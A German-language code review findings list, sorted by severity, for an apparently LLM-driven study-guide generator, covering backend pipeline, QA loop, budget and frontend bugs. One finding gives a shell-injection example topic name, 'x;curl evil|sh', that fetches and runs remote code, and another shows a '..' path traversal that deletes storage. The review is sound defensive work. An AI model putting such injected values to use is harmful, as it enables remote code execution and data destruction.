9.4 KiB
Review-Befunde 2026-07-12
Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend). Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie.
Hoch
-
pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen.
topic_anlegenprüft nur „nicht leer“. Name..→DELETE /api/topics/..läuft inshutil.rmtree(KORPUS_DIR / topic)→ löschtstorage/komplett inkl. SQLite-DB. Namen mit/schreiben Snapshots außerhalb vonstorage/korpus/. -
main.py:180 + Makefile:43 — Shell-Injektion über Transfer.
make server-push TOPIC=<name>interpoliert den Namen unquotiert in Shell-Rezepte (rsync/ssh-Zeilen). Topicx;curl evil|sh→ Kommando-Ausführung. -
inventar.py:44 — Resume verliert Quell-Abschnitte still. Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert. Beim Resume greift der Idempotenz-Guard (
schon and not force) und setzt die Quelle aufatome— die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein ganzer Soll-Punkt leer bleibt. -
artefakte.py:49 —
nur_ohne-Filter blockiert Flashcard-Nachgenerierung. Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar,atom_ohne_flashcardbleibt offen, Loop dreht 10 wirkungslose Iterationen. -
guide.py:295 — Mathe-Checks laufen über Marker-Zeilen.
_mathe_auftraege(lang, …)bekommt den ungestrippten Text (nur_stil_auftraegestrippt Marker). Atom-Titel wiea_noderA*-Sucheim Marker erzeugen Aufträge, die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarerdet_checkin jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit. -
qa.py:68 — Befund-Dedup verliert Details.
_persistierendedupliziert über(art, item)ohnedetail. Mehreredet_check- Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“, neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz scheitert. -
agents.py:257 — CLI-Prozess-Leak bei Cancellation.
_spawnkillt nur beiTimeoutError. Der Hedge (llm.py:71) cancelt den Verlierer-Task:CancelledErrortrifftcommunicate(), kein Kill, und dasfinallyentfernt den Prozess aus_prozesse→ Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile, für Stop/Pause unerreichbar. -
guide.py:380 — gescheiterte Fixes passieren das Gate. Nach Fix-Fehlschlag bleiben die Aufträge in
sections.befunde, aber niemand außer_stage_fixliest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0 fertig gemeldet werden. -
Guide.vue:54/124 — Level-Toggle-Sackgasse.
levelszählt Kapitel-Level unabhängig vom Section-Inhalt;anzeigefiltert leere Sections weg; beianzeige.length === 0verschwindet die Nav samt Toggle. Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“, kein Weg zurück außer Reload.
Mittel
Budget / Ledger / Nebenläufigkeit
- llm.py:63 — Hedge-Zwilling: nur die Tokens des Gewinners landen in
events/Budget. Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“. - llm.py:65 — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte.
- llm.py:120 — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens.
- llm.py:155
panel, struktur.py:77, guide.py:426/434/579, artefakte.py:144 — bareasyncio.gatherstattllm.alle: bei LaufPause/Budget laufen Geschwister-Tasks weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard). - agents.py:161 — API-Pfad prüft nach
_api_slot()keinen Abbruch: pausierte Läufe feuern wartende API-Calls trotzdem ab. - agents.py:311 — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt.
Panels / destruktive Entscheide (fail-open statt fail-closed)
- inventar.py:474/499 —
_soll_stichentscheid/_luecke_schliessen: eine einzelne überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen auf Basis EINES Richters (chunk_urteil macht es richtig). - inventar.py:456 —
_anker_fixen_batchverwirft Atome auch dann, wenn der zuständige Batch-Call ausfiel (None ≠ negatives Urteil). - artefakte.py:130 — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id → Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet).
Korpus / Soll
- korpus.py:270 + 406 —
_konsenslöscht bestätigte Zeilen und baut aus Kandidaten neu: nachgesuchte Belege und dergeprueft-Negativ-Cache gehen verloren → bezahlte Beleg-Judges wiederholen sich. - korpus.py:368/388 — Judge sieht nur
text[:40k], Nicht-Fund wird aber für die GANZE Quelle alsgeprueftverbucht → Belege jenseits 40k dauerhaft unauffindbar, Punkt wird ggf. fälschlich degradiert. - korpus.py:161 — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf.
- korpus.py:333/416 — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für
soll_leer, Pipeline setzt trotzdemkorpus_fertig→ E1 verwirft Atome kaskadenartig.
Struktur
- struktur.py:251 — Split schneidet
ceil-Chunks: 43 Atome → Teile 8,8,8,8,8,3; letzter Teil kann Band 4–8 verletzen, Repair reproduziert identisch → Befund ewig offen. - struktur.py:479 —
band-Partnerprüfung misst gegen POST-Split-Bausteine, der Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann.
Guide / QA-Loop
- guide.py:553 —
qa_hashwird vor der Fachlich-falsch-Prüfung persistiert: scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open). - guide.py:544 —
offene_falschist run-gescoped,qa_hashnicht: nach Pause/Resume verschwinden bestätigte Fakten-Fehler aus der QA. - guide.py:596 — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim erreicht weder Prüfer noch Fix → Ping-Pong bis Limit.
- guide.py:607 + auto_loop.py:24 —
bewegt = bool(betroffen): Guide-Ebene meldet immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10. - guide.py:265/329 — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie.
- guide.py:190 — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“), Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt, Auftrag unerfüllbar.
Frontend
- api.js:13 — Topic-Namen ohne
encodeURIComponentin URL-Pfaden:#//im Namen → Topic per UI unbenutzbar und unlöschbar. - Guide.vue:19 —
laden()ohne Out-of-order-Schutz: langsame Antwort von Topic A überschreibt die Anzeige von Topic B. - Guide.vue:77 — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport landet in Platzhalter-Divs, Seite wirkt leer.
- api.js:51 — WS-Cleanup entfernt
onclosenicht: Zombie-Reconnect nach 2 s, doppelte State-Loads (v. a. bei Vite-HMR). - Ueben.vue:19 — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box springt 2 Stufen), Folgekarte fällt still aus dem Stapel.
Niedrig (Auswahl)
- pipeline.py:63 u. a. —
runs.beendet='jetzt'(Literal-String statt Timestamp). - ledger.py:58 — Kennzahlen zählen
status='timeout', llm schreibt aberinfra→ Spalte konstant 0. - config.py:13 —
CREATOR_DBwird vor_load_env()gelesen: .env-Wert wirkungslos. - jsonx.py:14 — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren.
- transfer.py:122 —
sections.befunde(Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped. - ws.py:31 — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele
send_text. - inventar.py:493 — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh.
- inventar.py:147 — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt.
- inventar.py:352 —
quelle_unvollstaendig-Repair meldet immer True → Stillstand nie erkannt. - guide.py:53 —
_MARKER_VOLLbricht bei>im Atom-Titel. - guide.py:449 —
_pruefe_dichmatcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still. - guide.py:461 — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte
null-Keys in Vue. - struktur.py:77 / artefakte.py:144 — s. gather-Sammelpunkt oben.
- markdown.js:57 —
lesestatignoriert\[…\]-Formeln → Lesezeit falsch. - style.css:225 — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil).
- Kennzahlen.vue:8 — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen.
- App.vue:93 / Board.vue:99 —
stoppen()/Menü-Aktionen ohne try/catch: Fehler unsichtbar.